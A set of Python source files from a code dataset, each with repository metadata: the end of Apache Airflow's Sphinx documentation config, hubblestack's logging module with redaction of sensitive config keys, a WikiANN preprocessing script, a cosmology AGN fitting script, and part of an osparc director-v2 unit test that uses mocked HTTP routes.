'howto/operator/microsoft/_partials', ] ROOT_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir)) def _get_rst_filepath_from_path(filepath: str): if os.path.isdir(filepath): result = filepath elif os.path.isfile(filepath) and filepath.endswith('/__init__.py'): result = filepath.rpartition("/")[0] else: result = filepath.rpartition(".")[0] result += "/index.rst" result = f"_api/{os.path.relpath(result, ROOT_DIR)}" return result # Exclude top-level packages # do not exclude these top-level modules from the doc build: _allowed_top_level = ("exceptions.py",) for path in glob(f"{ROOT_DIR}/airflow/*"): name = os.path.basename(path) if os.path.isfile(path) and not path.endswith(_allowed_top_level): exclude_patterns.append(f"_api/airflow/{name.rpartition('.')[0]}") browsable_packages = ["operators", "hooks", "sensors", "providers", "executors", "models", "secrets"] if os.path.isdir(path) and name not in browsable_packages: exclude_patterns.append(f"_api/airflow/{name}") # Add any paths that contain templates here, relative to this directory. templates_path = ['templates'] # The suffix of source filenames. source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, keep warnings as "system message" paragraphs in the built documents. keep_warnings = True # -- Options for HTML output --------------------------------------------------- # See: https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'sphinx_rtd_theme' if airflow_theme_is_available: html_theme = 'sphinx_airflow_theme' # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". html_title = "Airflow Documentation" # A shorter title for the navigation bar. Default is the same as html_title. html_short_title = "" # given, this must be the name of an image file (path relative to the # configuration directory) that is the favicon of the docs. Modern browsers # use this as the icon for tabs, windows and bookmarks. It should be a # Windows-style icon file (.ico), which is 16x16 or 32x32 pixels large. html_favicon = "../airflow/www/static/pin_32.png" # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['static'] # A list of JavaScript filename. The entry must be a filename string or a # tuple containing the filename string and the attributes dictionary. The # filename must be relative to the html_static_path, or a full URI with # scheme like http://example.org/script.js. html_js_files = ['jira-links.js'] # Custom sidebar templates, maps document names to template names. if airflow_theme_is_available: html_sidebars = { '**': [ 'version-selector.html', 'searchbox.html', 'globaltoc.html', ] } # If false, no index is generated. html_use_index = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. html_show_copyright = False # A dictionary of values to pass into the template engine’s context for all pages. html_context = { # Google Analytics ID. # For more information look at: # https://github.com/readthedocs/sphinx_rtd_theme/blob/master/sphinx_rtd_theme/layout.html#L222-L232 'theme_analytics_id': 'UA-140539454-1', } if airflow_theme_is_available: html_context = { # Variables used to build a button for editing the source code # # The path is created according to the following template: # # https://{{ github_host|default("github.com") }}/{{ github_user }}/{{ github_repo }}/ # {{ theme_vcs_pageview_mode|default("blob") }}/{{ github_version }}{{ conf_py_path }} # {{ pagename }}{{ suffix }} # # More information: # https://github.com/readthedocs/readthedocs.org/blob/master/readthedocs/doc_builder/templates/doc_builder/conf.py.tmpl#L100-L103 # https://github.com/readthedocs/sphinx_rtd_theme/blob/master/sphinx_rtd_theme/breadcrumbs.html#L45 # https://github.com/apache/airflow-site/blob/91f760c/sphinx_airflow_theme/sphinx_airflow_theme/suggest_change_button.html#L36-L40 # 'theme_vcs_pageview_mode': 'edit', 'conf_py_path': '/docs/', 'github_user': 'apache', 'github_repo': 'airflow', 'github_version': 'master', 'display_github': 'master', 'suffix': '.rst', } # == Extensions configuration ================================================== # -- Options for sphinxcontrib.jinjac ------------------------------------------ # See: https://github.com/tardyp/sphinx-jinja # Jinja context jinja_contexts = {'config_ctx': {"configs": default_config_yaml()}} # -- Options for sphinx.ext.autodoc -------------------------------------------- # See: https://www.sphinx-doc.org/en/master/usage/extensions/autodoc.html # This value contains a list of modules to be mocked up. This is useful when some external dependencies # are not met at build time and break the building process. autodoc_mock_imports = [ 'MySQLdb', 'adal', 'analytics', 'azure', 'azure.cosmos', 'azure.datalake', 'azure.kusto', 'azure.mgmt', 'boto3', 'botocore', 'bson', 'cassandra', 'celery', 'cloudant', 'cryptography', 'cx_Oracle', 'datadog', 'distributed', 'docker', 'google', 'google_auth_httplib2', 'googleapiclient', 'grpc', 'hdfs', 'httplib2', 'jaydebeapi', 'jenkins', 'jira', 'kubernetes', 'msrestazure', 'pandas', 'pandas_gbq', 'paramiko', 'pinotdb', 'psycopg2', 'pydruid', 'pyhive', 'pyhive', 'pymongo', 'pymssql', 'pysftp', 'qds_sdk', 'redis', 'simple_salesforce', 'slackclient', 'smbclient', 'snowflake', 'sshtunnel', 'tenacity', 'vertica_python', 'winrm', 'zdesk', ] # The default options for autodoc directives. They are applied to all autodoc directives automatically. autodoc_default_options = {'show-inheritance': True, 'members': True} # -- Options for sphinx.ext.intersphinx ---------------------------------------- # See: https://www.sphinx-doc.org/en/master/usage/extensions/intersphinx.html # This config value contains the locations and names of other projects that should # be linked to in this documentation. intersphinx_mapping = { 'boto3': ('https://boto3.amazonaws.com/v1/documentation/api/latest/', None), 'celery': ('https://docs.celeryproject.org/en/stable/', None), 'hdfs': ('https://hdfscli.readthedocs.io/en/latest/', None), 'jinja2': ('https://jinja.palletsprojects.com/en/master/', None), 'mongodb': ('https://api.mongodb.com/python/current/', None), 'pandas': ('https://pandas.pydata.org/pandas-docs/stable/', None), 'python': ('https://docs.python.org/3/', None), 'requests': ('https://requests.readthedocs.io/en/master/', None), 'sqlalchemy': ('https://docs.sqlalchemy.org/en/latest/', None), # google-api 'google-api-core': ('https://googleapis.dev/python/google-api-core/latest', None), 'google-cloud-automl': ('https://googleapis.dev/python/automl/latest', None), 'google-cloud-bigquery': ('https://googleapis.dev/python/bigquery/latest', None), 'google-cloud-bigquery-datatransfer': ('https://googleapis.dev/python/bigquerydatatransfer/latest', None), 'google-cloud-bigquery-storage': ('https://googleapis.dev/python/bigquerystorage/latest', None), 'google-cloud-bigtable': ('https://googleapis.dev/python/bigtable/latest', None), 'google-cloud-container': ('https://googleapis.dev/python/container/latest', None), 'google-cloud-core': ('https://googleapis.dev/python/google-cloud-core/latest', None), 'google-cloud-datacatalog': ('https://googleapis.dev/python/datacatalog/latest', None), 'google-cloud-datastore': ('https://googleapis.dev/python/datastore/latest', None), 'google-cloud-dlp': ('https://googleapis.dev/python/dlp/latest', None), 'google-cloud-kms': ('https://googleapis.dev/python/cloudkms/latest', None), 'google-cloud-language': ('https://googleapis.dev/python/language/latest', None), 'google-cloud-monitoring': ('https://googleapis.dev/python/monitoring/latest', None), 'google-cloud-pubsub': ('https://googleapis.dev/python/pubsub/latest', None), 'google-cloud-redis': ('https://googleapis.dev/python/redis/latest', None), 'google-cloud-spanner': ('https://googleapis.dev/python/spanner/latest', None), 'google-cloud-speech': ('https://googleapis.dev/python/speech/latest', None), 'google-cloud-storage': ('https://googleapis.dev/python/storage/latest', None), 'google-cloud-tasks': ('https://googleapis.dev/python/cloudtasks/latest', None), 'google-cloud-texttospeech': ('https://googleapis.dev/python/texttospeech/latest', None), 'google-cloud-translate': ('https://googleapis.dev/python/translation/latest', None), 'google-cloud-videointelligence': ('https://googleapis.dev/python/videointelligence/latest', None), 'google-cloud-vision': ('https://googleapis.dev/python/vision/latest', None), } # -- Options for sphinx.ext.viewcode ------------------------------------------- # See: https://www.sphinx-doc.org/es/master/usage/extensions/viewcode.html # If this is True, viewcode extension will emit viewcode-follow-imported event to resolve the name of # the module by other extensions. The default is True. viewcode_follow_imported_members = True # -- Options for sphinx-autoapi ------------------------------------------------ # See: https://sphinx-autoapi.readthedocs.io/en/latest/config.html # Paths (relative or absolute) to the source code that you wish to generate # your API documentation from. autoapi_dirs = [ os.path.abspath('../airflow'), ] # A directory that has user-defined templates to override our default templates. autoapi_template_dir = 'autoapi_templates' # A list of patterns to ignore when finding files autoapi_ignore = [ '*/airflow/kubernetes/kubernetes_request_factory/*', '*/_internal*', '*/airflow/**/providers/**/utils/*', '*/node_modules/*', '*/example_dags/*', '*/migrations/*', ] # Keep the AutoAPI generated files on the filesystem after the run. # Useful for debugging. autoapi_keep_files = True # Relative path to output the AutoAPI files into. This can also be used to place the generated documentation # anywhere in your documentation hierarchy. autoapi_root = '_api' # -- Options for ext.exampleinclude -------------------------------------------- exampleinclude_sourceroot = os.path.abspath('..') # -- Options for ext.redirects ------------------------------------------------- redirects_file = 'redirects.txt' # -- Options for sphinxcontrib.redoc ------------------------------------------- # See: https://sphinxcontrib-redoc.readthedocs.io/en/stable/ OPENAPI_FILE = os.path.join(os.path.dirname(__file__), "..", "airflow", "api_connexion", "openapi", "v1.yaml") redoc = [ { 'name': 'Airflow REST API', 'page': 'stable-rest-api-ref', 'spec': OPENAPI_FILE, 'opts': { 'hide-hostname': True, 'no-auto-auth': True, }, }, ] # Options for script updater redoc_script_url = "https://cdn.jsdelivr.net/npm/redoc@2.0.0-rc.30/bundles/redoc.standalone.js"

true

790c8dc814e7074f4e401866caea91228581eec8

6,628

py

Python

hubblestack/log.py

instructure/hubble

d94ec81f478e3a59611faa0c125fd120e9f43d0b

[ "Apache-2.0" ]

2

2019-11-30T19:36:25.000Z

2020-09-23T06:28:26.000Z

hubblestack/log.py

instructure/hubble

d94ec81f478e3a59611faa0c125fd120e9f43d0b

[ "Apache-2.0" ]

3

2020-08-03T18:14:02.000Z

2020-08-03T22:43:44.000Z

hubblestack/log.py

instructure/hubble

d94ec81f478e3a59611faa0c125fd120e9f43d0b

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- """ Logging for the hubble daemon """ import logging import time import hubblestack.splunklogging # These patterns will not be logged by "conf_publisher" and "emit_to_splunk" PATTERNS_TO_FILTER = ["password", "token", "passphrase", "privkey", "keyid", "s3.key", "splunk_token"] # While hubble doesn't use these, salt modules can, so let's define them anyway SPLUNK = logging.SPLUNK = 25 PROFILE = logging.PROFILE = 15 TRACE = logging.TRACE = 5 GARBAGE = logging.GARBAGE = 1 QUIET = logging.QUIET = 1000 LOG_LEVELS = { 'all': logging.NOTSET, 'debug': logging.DEBUG, 'error': logging.ERROR, 'critical': logging.CRITICAL, 'garbage': GARBAGE, 'info': logging.INFO, 'profile': PROFILE, 'quiet': QUIET, 'trace': TRACE, 'warning': logging.WARNING, } logging.addLevelName(SPLUNK, 'SPLUNK') logging.addLevelName(QUIET, 'QUIET') logging.addLevelName(PROFILE, 'PROFILE') logging.addLevelName(TRACE, 'TRACE') logging.addLevelName(GARBAGE, 'GARBAGE') def _splunk(self, message, *args, **kwargs): if self.isEnabledFor(logging.SPLUNK): self._log(logging.SPLUNK, message, args, **kwargs) def _quiet(self, message, *args, **kwargs): if self.isEnabledFor(logging.QUIET): self._log(logging.QUIET, message, args, **kwargs) def _profile(self, message, *args, **kwargs): if self.isEnabledFor(logging.PROFILE): self._log(logging.PROFILE, message, args, **kwargs) def _trace(self, message, *args, **kwargs): if self.isEnabledFor(logging.TRACE): self._log(logging.TRACE, message, args, **kwargs) def _garbage(self, message, *args, **kwargs): if self.isEnabledFor(logging.GARBAGE): self._log(logging.GARBAGE, message, args, **kwargs) logging.Logger.splunk = _splunk logging.Logger.quiet = _quiet logging.Logger.profile = _profile logging.Logger.trace = _trace logging.Logger.garbage = _garbage SPLUNK_HANDLER = None class MockRecord(object): """ Fake record that mimicks a logging record """ def __init__(self, message, levelname, asctime, name): self.message = message self.levelname = levelname self.asctime = asctime self.name = name # Set up an early log handler for use while we're generating config. # Will be removed when we set up the console or file logger. TEMP_HANDLER = logging.StreamHandler() TEMP_HANDLER.setLevel(logging.INFO) TEMP_HANDLER.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(name)s: %(message)s')) logging.root.handlers.insert(0, TEMP_HANDLER) def _remove_temp_handler(): """ Remove temporary handler if it exists """ if TEMP_HANDLER and TEMP_HANDLER in logging.root.handlers: logging.root.handlers.remove(TEMP_HANDLER) def setup_console_logger(log_level='error', log_format='%(asctime)s [%(levelname)-5s] %(message)s', date_format='%H:%M:%S'): """ Sets up logging to STDERR, allowing for configurable level, format, and date format. """ _remove_temp_handler() rootlogger = logging.getLogger() handler = logging.StreamHandler() handler.setLevel(LOG_LEVELS.get(log_level, logging.ERROR)) formatter = logging.Formatter(log_format, date_format) handler.setFormatter(formatter) rootlogger.addHandler(handler) def setup_file_logger(log_file, log_level='error', log_format='%(asctime)s,%(msecs)03d [%(levelname)-5s] [%(name)s:%(lineno)d] ' ' %(message)s', date_format='%Y-%m-%d %H:%M:%S', max_bytes=100000000, backup_count=1): """ Sets up logging to a file. By default will auto-rotate those logs every 100MB and keep one backup. """ _remove_temp_handler() rootlogger = logging.getLogger() handler = logging.handlers.RotatingFileHandler(log_file, maxBytes=max_bytes, backupCount=backup_count) handler.setLevel(LOG_LEVELS.get(log_level, logging.ERROR)) formatter = logging.Formatter(log_format, date_format) handler.setFormatter(formatter) rootlogger.addHandler(handler) def setup_splunk_logger(): """ Sets up logging to splunk. """ _remove_temp_handler() rootlogger = logging.getLogger() handler = hubblestack.splunklogging.SplunkHandler() handler.setLevel(logging.SPLUNK) rootlogger.addHandler(handler) global SPLUNK_HANDLER SPLUNK_HANDLER = handler def emit_to_splunk(message, level, name): """ Emit a single message to splunk """ if isinstance(message, (list, dict)): message = filter_logs(message, remove_dots=False) if SPLUNK_HANDLER is None: return False handler = SPLUNK_HANDLER handler.emit(MockRecord(message, level, time.asctime(), name)) return True def workaround_salt_log_handler_queues(): """ Build a fake log handler and add it to LOGGING_STORE_HANDLER and LOGGING_NULL_HANDLER """ class _FakeLogHandler(object): level = 10 count = 0 def handle(self, _record): """ Receive a record and increase the count """ self.count += 1 flh = _FakeLogHandler() import salt.log.setup as sls sls.LOGGING_STORE_HANDLER.sync_with_handlers([flh]) sls.LOGGING_NULL_HANDLER.sync_with_handlers([flh]) # if flh.count > 0: # log.info("pretended to handle %d logging record(s) # for salt.log.setup.LOGGING_*_HANDLER", flh.count) def filter_logs(opts_to_log, remove_dots=True): """ Filters out keys containing certain patterns to avoid sensitive information being sent to logs Works on dictionaries and lists This function was located at extmods/modules/conf_publisher.py previously """ filtered_conf = _remove_sensitive_info(opts_to_log, PATTERNS_TO_FILTER) if remove_dots: for key in filtered_conf.keys(): if '.' in key: filtered_conf[key.replace('.', '_')] = filtered_conf.pop(key) return filtered_conf def _remove_sensitive_info(obj, patterns_to_filter): """ Filter known sensitive info """ if isinstance(obj, dict): obj = { key: _remove_sensitive_info(value, patterns_to_filter) for key, value in obj.items() if not any(patt in key for patt in patterns_to_filter)} elif isinstance(obj, list): obj = [_remove_sensitive_info(item, patterns_to_filter) for item in obj] return obj

28.943231

99

0.664152

import logging import time import hubblestack.splunklogging PATTERNS_TO_FILTER = ["password", "token", "passphrase", "privkey", "keyid", "s3.key", "splunk_token"] SPLUNK = logging.SPLUNK = 25 PROFILE = logging.PROFILE = 15 TRACE = logging.TRACE = 5 GARBAGE = logging.GARBAGE = 1 QUIET = logging.QUIET = 1000 LOG_LEVELS = { 'all': logging.NOTSET, 'debug': logging.DEBUG, 'error': logging.ERROR, 'critical': logging.CRITICAL, 'garbage': GARBAGE, 'info': logging.INFO, 'profile': PROFILE, 'quiet': QUIET, 'trace': TRACE, 'warning': logging.WARNING, } logging.addLevelName(SPLUNK, 'SPLUNK') logging.addLevelName(QUIET, 'QUIET') logging.addLevelName(PROFILE, 'PROFILE') logging.addLevelName(TRACE, 'TRACE') logging.addLevelName(GARBAGE, 'GARBAGE') def _splunk(self, message, *args, **kwargs): if self.isEnabledFor(logging.SPLUNK): self._log(logging.SPLUNK, message, args, **kwargs) def _quiet(self, message, *args, **kwargs): if self.isEnabledFor(logging.QUIET): self._log(logging.QUIET, message, args, **kwargs) def _profile(self, message, *args, **kwargs): if self.isEnabledFor(logging.PROFILE): self._log(logging.PROFILE, message, args, **kwargs) def _trace(self, message, *args, **kwargs): if self.isEnabledFor(logging.TRACE): self._log(logging.TRACE, message, args, **kwargs) def _garbage(self, message, *args, **kwargs): if self.isEnabledFor(logging.GARBAGE): self._log(logging.GARBAGE, message, args, **kwargs) logging.Logger.splunk = _splunk logging.Logger.quiet = _quiet logging.Logger.profile = _profile logging.Logger.trace = _trace logging.Logger.garbage = _garbage SPLUNK_HANDLER = None class MockRecord(object): def __init__(self, message, levelname, asctime, name): self.message = message self.levelname = levelname self.asctime = asctime self.name = name # Will be removed when we set up the console or file logger. TEMP_HANDLER = logging.StreamHandler() TEMP_HANDLER.setLevel(logging.INFO) TEMP_HANDLER.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(name)s: %(message)s')) logging.root.handlers.insert(0, TEMP_HANDLER) def _remove_temp_handler(): if TEMP_HANDLER and TEMP_HANDLER in logging.root.handlers: logging.root.handlers.remove(TEMP_HANDLER) def setup_console_logger(log_level='error', log_format='%(asctime)s [%(levelname)-5s] %(message)s', date_format='%H:%M:%S'): _remove_temp_handler() rootlogger = logging.getLogger() handler = logging.StreamHandler() handler.setLevel(LOG_LEVELS.get(log_level, logging.ERROR)) formatter = logging.Formatter(log_format, date_format) handler.setFormatter(formatter) rootlogger.addHandler(handler) def setup_file_logger(log_file, log_level='error', log_format='%(asctime)s,%(msecs)03d [%(levelname)-5s] [%(name)s:%(lineno)d] ' ' %(message)s', date_format='%Y-%m-%d %H:%M:%S', max_bytes=100000000, backup_count=1): _remove_temp_handler() rootlogger = logging.getLogger() handler = logging.handlers.RotatingFileHandler(log_file, maxBytes=max_bytes, backupCount=backup_count) handler.setLevel(LOG_LEVELS.get(log_level, logging.ERROR)) formatter = logging.Formatter(log_format, date_format) handler.setFormatter(formatter) rootlogger.addHandler(handler) def setup_splunk_logger(): _remove_temp_handler() rootlogger = logging.getLogger() handler = hubblestack.splunklogging.SplunkHandler() handler.setLevel(logging.SPLUNK) rootlogger.addHandler(handler) global SPLUNK_HANDLER SPLUNK_HANDLER = handler def emit_to_splunk(message, level, name): if isinstance(message, (list, dict)): message = filter_logs(message, remove_dots=False) if SPLUNK_HANDLER is None: return False handler = SPLUNK_HANDLER handler.emit(MockRecord(message, level, time.asctime(), name)) return True def workaround_salt_log_handler_queues(): class _FakeLogHandler(object): level = 10 count = 0 def handle(self, _record): self.count += 1 flh = _FakeLogHandler() import salt.log.setup as sls sls.LOGGING_STORE_HANDLER.sync_with_handlers([flh]) sls.LOGGING_NULL_HANDLER.sync_with_handlers([flh]) # if flh.count > 0: # log.info("pretended to handle %d logging record(s) # for salt.log.setup.LOGGING_*_HANDLER", flh.count) def filter_logs(opts_to_log, remove_dots=True): filtered_conf = _remove_sensitive_info(opts_to_log, PATTERNS_TO_FILTER) if remove_dots: for key in filtered_conf.keys(): if '.' in key: filtered_conf[key.replace('.', '_')] = filtered_conf.pop(key) return filtered_conf def _remove_sensitive_info(obj, patterns_to_filter): if isinstance(obj, dict): obj = { key: _remove_sensitive_info(value, patterns_to_filter) for key, value in obj.items() if not any(patt in key for patt in patterns_to_filter)} elif isinstance(obj, list): obj = [_remove_sensitive_info(item, patterns_to_filter) for item in obj] return obj

true

790c8de998b51f0c481a10acc216410fd391a3c0

502

py

Python

Fine-tuning/Utility Files/wikiann_preprocessor.py

Vaidehi99/OBPE

e844c3268d3d698eeca96cd2646441601474155b

[ "Apache-2.0" ]

null

Fine-tuning/Utility Files/wikiann_preprocessor.py

Vaidehi99/OBPE

e844c3268d3d698eeca96cd2646441601474155b

[ "Apache-2.0" ]

null

Fine-tuning/Utility Files/wikiann_preprocessor.py

Vaidehi99/OBPE

e844c3268d3d698eeca96cd2646441601474155b

[ "Apache-2.0" ]

null

import argparse parser = argparse.ArgumentParser() parser.add_argument("--infile", default=None, type=str, required=True, help="path of input file to preprocess") parser.add_argument("--outfile", default=None, type=str, required=True,help="output file path") args = parser.parse_args() lines=open(args.infile,'r').readlines() outfile=open(args.outfile,'w') for line in lines: if(len(line.split(' '))==0): outfile.write('\n') else: outfile.write(line.split(' ')[0]+'\t'+line.split(' ')[-1])

31.375

111

0.699203

import argparse parser = argparse.ArgumentParser() parser.add_argument("--infile", default=None, type=str, required=True, help="path of input file to preprocess") parser.add_argument("--outfile", default=None, type=str, required=True,help="output file path") args = parser.parse_args() lines=open(args.infile,'r').readlines() outfile=open(args.outfile,'w') for line in lines: if(len(line.split(' '))==0): outfile.write('\n') else: outfile.write(line.split(' ')[0]+'\t'+line.split(' ')[-1])

true

790c8eadf2fdde222a7edbfa4ff632907727f155

2,970

py

Python

Software/Funcionales/funciones_LambdaCDM_AGN.py

matiasleize/tesis_licenciatura

5df6e341314583702b466b8ed7977d410f0ee457

[ "MIT" ]

null

Software/Funcionales/funciones_LambdaCDM_AGN.py

matiasleize/tesis_licenciatura

5df6e341314583702b466b8ed7977d410f0ee457

[ "MIT" ]

null

Software/Funcionales/funciones_LambdaCDM_AGN.py

matiasleize/tesis_licenciatura

5df6e341314583702b466b8ed7977d410f0ee457

[ "MIT" ]

null

""" Created on Sun Feb 2 13:28:48 2020 @author: matias """ import numpy as np from numpy.linalg import inv from matplotlib import pyplot as plt import time import camb from scipy.integrate import cumtrapz as cumtrapz from scipy.integrate import simps as simps from scipy.interpolate import interp1d from scipy.constants import c as c_luz #metros/segundos c_luz_km = c_luz/1000 import sys import os from os.path import join as osjoin from pc_path import definir_path path_git, path_datos_global = definir_path() os.chdir(path_git) sys.path.append('./Software/Funcionales/') from funciones_int import Hubble_teorico from funciones_AGN import zs_2_logDlH0 #%% ''' DEPRECATED: Antes de eliminar este archivo copiar este ejemplo en otro .py en donde se grafiquen los datos. ''' if __name__ == '__main__': from scipy.constants import c as c_luz #metros/segundos from matplotlib import pyplot as plt import sys import os from os.path import join as osjoin from pc_path import definir_path path_git, path_datos_global = definir_path() os.chdir(path_git) sys.path.append('./Software/Funcionales/') from funciones_data import leer_data_AGN #%% def leer_data_AGN(archivo_AGN): z, Fuv, eFuv, Fx, eFx = np.loadtxt(archivo_AGN, usecols=(3,4,5,6,7), unpack=True) arr1inds = z.argsort() sorted_z = z[arr1inds] sorted_Fuv = Fuv[arr1inds] sorted_eFuv = eFuv[arr1inds] sorted_Fx = Fx[arr1inds] sorted_eFx = eFx[arr1inds] return sorted_z, sorted_Fuv, sorted_eFuv, sorted_Fx, sorted_eFx #Data AGN os.chdir(path_git+'/Software/Estadística/Datos/Datos_AGN') data_agn = leer_data_AGN('table3.dat') H_0 = 70 omega_m = 0.99 gamma = 0.64 beta = 7 delta = 0.3 theta = [omega_m,beta,gamma,delta] #params_to_chi2_AGN_nuisance(theta, _, data_agn)/(len(z_data)-4) data_agn = leer_data_AGN('table3.dat') z_data_1, logFuv_1, eFuv_1, logFx_1, eFx_1 = data_agn zmin = 0 zmax = 100 mask = (z_data_1 > zmin) & (z_data_1 < zmax) z_data = z_data_1[mask] logFuv = logFuv_1[mask] logFx = logFx_1[mask] eFx = eFx_1[mask] eFuv = eFuv_1[mask] zs_modelo = np.linspace(0,30,10**6) Dl_teo = -np.log10(H_0) + zs_2_logDlH0(zs_modelo,omega_m,z_data) Dl_teo_cm = Dl_teo - np.log10(3.24) + 25 psi = beta + gamma * logFuv + 2 * (gamma-1) * (Dl_teo_cm + 0.5 * np.log10(4*np.pi)) si_2 = eFx**2 + (gamma * eFuv)**2 + np.exp(2*np.log(delta)) #El cuadrado de los errores #si_2 = eFx**2 + (gamma * eFuv)**2 + delta**2 #El cuadrado de los errores print(np.sum(si_2)) chi2_AGN = np.sum( ((logFx-psi)**2/si_2) + np.log(2*np.pi*si_2)) # menos en el paper print(chi2_AGN) print(chi2_AGN/(len(z_data)-4)) plt.figure() plt.xlabel('z (redshift)') plt.ylabel(r'$Fx$') plt.errorbar(z_data,psi,np.sqrt(si_2),marker='.',linestyle='') plt.plot(z_data,logFx,'.r')

28.557692

91

0.676431

import numpy as np from numpy.linalg import inv from matplotlib import pyplot as plt import time import camb from scipy.integrate import cumtrapz as cumtrapz from scipy.integrate import simps as simps from scipy.interpolate import interp1d from scipy.constants import c as c_luz c_luz_km = c_luz/1000 import sys import os from os.path import join as osjoin from pc_path import definir_path path_git, path_datos_global = definir_path() os.chdir(path_git) sys.path.append('./Software/Funcionales/') from funciones_int import Hubble_teorico from funciones_AGN import zs_2_logDlH0 if __name__ == '__main__': from scipy.constants import c as c_luz from matplotlib import pyplot as plt import sys import os from os.path import join as osjoin from pc_path import definir_path path_git, path_datos_global = definir_path() os.chdir(path_git) sys.path.append('./Software/Funcionales/') from funciones_data import leer_data_AGN def leer_data_AGN(archivo_AGN): z, Fuv, eFuv, Fx, eFx = np.loadtxt(archivo_AGN, usecols=(3,4,5,6,7), unpack=True) arr1inds = z.argsort() sorted_z = z[arr1inds] sorted_Fuv = Fuv[arr1inds] sorted_eFuv = eFuv[arr1inds] sorted_Fx = Fx[arr1inds] sorted_eFx = eFx[arr1inds] return sorted_z, sorted_Fuv, sorted_eFuv, sorted_Fx, sorted_eFx os.chdir(path_git+'/Software/Estadística/Datos/Datos_AGN') data_agn = leer_data_AGN('table3.dat') H_0 = 70 omega_m = 0.99 gamma = 0.64 beta = 7 delta = 0.3 theta = [omega_m,beta,gamma,delta] data_agn = leer_data_AGN('table3.dat') z_data_1, logFuv_1, eFuv_1, logFx_1, eFx_1 = data_agn zmin = 0 zmax = 100 mask = (z_data_1 > zmin) & (z_data_1 < zmax) z_data = z_data_1[mask] logFuv = logFuv_1[mask] logFx = logFx_1[mask] eFx = eFx_1[mask] eFuv = eFuv_1[mask] zs_modelo = np.linspace(0,30,10**6) Dl_teo = -np.log10(H_0) + zs_2_logDlH0(zs_modelo,omega_m,z_data) Dl_teo_cm = Dl_teo - np.log10(3.24) + 25 psi = beta + gamma * logFuv + 2 * (gamma-1) * (Dl_teo_cm + 0.5 * np.log10(4*np.pi)) si_2 = eFx**2 + (gamma * eFuv)**2 + np.exp(2*np.log(delta)) chi2_AGN = np.sum( ((logFx-psi)**2/si_2) + np.log(2*np.pi*si_2)) print(chi2_AGN) print(chi2_AGN/(len(z_data)-4)) plt.figure() plt.xlabel('z (redshift)') plt.ylabel(r'$Fx$') plt.errorbar(z_data,psi,np.sqrt(si_2),marker='.',linestyle='') plt.plot(z_data,logFx,'.r')

true

790c8fb53feaa528655dc48d7224c7c5ffda0117

7,725

py

Python

services/director-v2/tests/unit/test_modules_director_v0.py

GitHK/osparc-simcore-forked

5b01a28d1b8028afcf9a735e1d46a73daa13686e

[ "MIT" ]

null

services/director-v2/tests/unit/test_modules_director_v0.py

GitHK/osparc-simcore-forked

5b01a28d1b8028afcf9a735e1d46a73daa13686e

[ "MIT" ]

17

2020-10-15T16:06:05.000Z

2022-03-21T18:48:21.000Z

services/director-v2/tests/unit/test_modules_director_v0.py

GitHK/osparc-simcore-forked

5b01a28d1b8028afcf9a735e1d46a73daa13686e

[ "MIT" ]

null

# pylint:disable=unused-variable # pylint:disable=unused-argument # pylint:disable=redefined-outer-name # pylint:disable=protected-access import json import re import urllib.parse from collections import namedtuple from pathlib import Path from random import randint from typing import Callable, List from uuid import uuid4 import pytest import respx from fastapi import FastAPI, status from models_library.services import ServiceDockerData, ServiceKeyVersion from simcore_service_director_v2.models.schemas.services import ( RunningServiceDetails, ServiceExtras, ) from simcore_service_director_v2.modules.director_v0 import DirectorV0Client @pytest.fixture(autouse=True) def minimal_director_config(project_env_devel_environment, monkeypatch): """set a minimal configuration for testing the director connection only""" monkeypatch.setenv("DIRECTOR_ENABLED", "1") monkeypatch.setenv("POSTGRES_ENABLED", "0") monkeypatch.setenv("CELERY_ENABLED", "0") monkeypatch.setenv("REGISTRY_ENABLED", "0") @pytest.fixture def mocked_director_v0_service_api(minimal_app, entrypoint, exp_data, resp_alias): with respx.mock( base_url=minimal_app.state.settings.director_v0.base_url(include_tag=False), assert_all_called=False, assert_all_mocked=True, ) as respx_mock: # lists services respx_mock.get( urllib.parse.unquote(entrypoint), content=exp_data, alias=resp_alias, ) yield respx_mock ForwardToDirectorParams = namedtuple( "ForwardToDirectorParams", "entrypoint,exp_status,exp_data,resp_alias" ) def _get_list_services_calls() -> List[ForwardToDirectorParams]: return [ ForwardToDirectorParams( entrypoint="/v0/services", exp_status=status.HTTP_200_OK, exp_data={"data": ["service1", "service2"]}, resp_alias="list_all_services", ), ForwardToDirectorParams( entrypoint="/v0/services?service_type=computational", exp_status=status.HTTP_200_OK, exp_data={"data": ["service1", "service2"]}, resp_alias="list_computational_services", ), ForwardToDirectorParams( entrypoint="/v0/services?service_type=dynamic", exp_status=status.HTTP_200_OK, exp_data={"data": ["service1", "service2"]}, resp_alias="list_dynamic_services", ), ] def _get_service_version_calls() -> List[ForwardToDirectorParams]: # TODO: here we see the return value is currently not validated return [ ForwardToDirectorParams( entrypoint="/v0/services/simcore%2Fservices%2Fdynamic%2Fmyservice/1.3.4", exp_status=status.HTTP_200_OK, exp_data={"data": ["stuff about my service"]}, resp_alias="get_service_version", ) ] def _get_service_version_extras_calls() -> List[ForwardToDirectorParams]: # TODO: here we see the return value is currently not validated return [ ForwardToDirectorParams( entrypoint="/v0/services/simcore%2Fservices%2Fdynamic%2Fmyservice/1.3.4/extras", exp_status=status.HTTP_200_OK, exp_data={"data": "extra stuff about my service"}, resp_alias="get_service_extras", ) ] @pytest.mark.parametrize( "entrypoint,exp_status,exp_data,resp_alias", _get_list_services_calls() + _get_service_version_calls() + _get_service_version_extras_calls(), ) def test_forward_to_director( client, mocked_director_v0_service_api, entrypoint, exp_status, exp_data, resp_alias ): response = client.get(entrypoint) assert response.status_code == exp_status assert response.json() == exp_data assert mocked_director_v0_service_api[resp_alias].called @pytest.fixture(scope="session") def fake_service_details(mocks_dir: Path) -> ServiceDockerData: fake_service_path = mocks_dir / "fake_service.json" assert fake_service_path.exists() fake_service_data = json.loads(fake_service_path.read_text()) return ServiceDockerData(**fake_service_data) 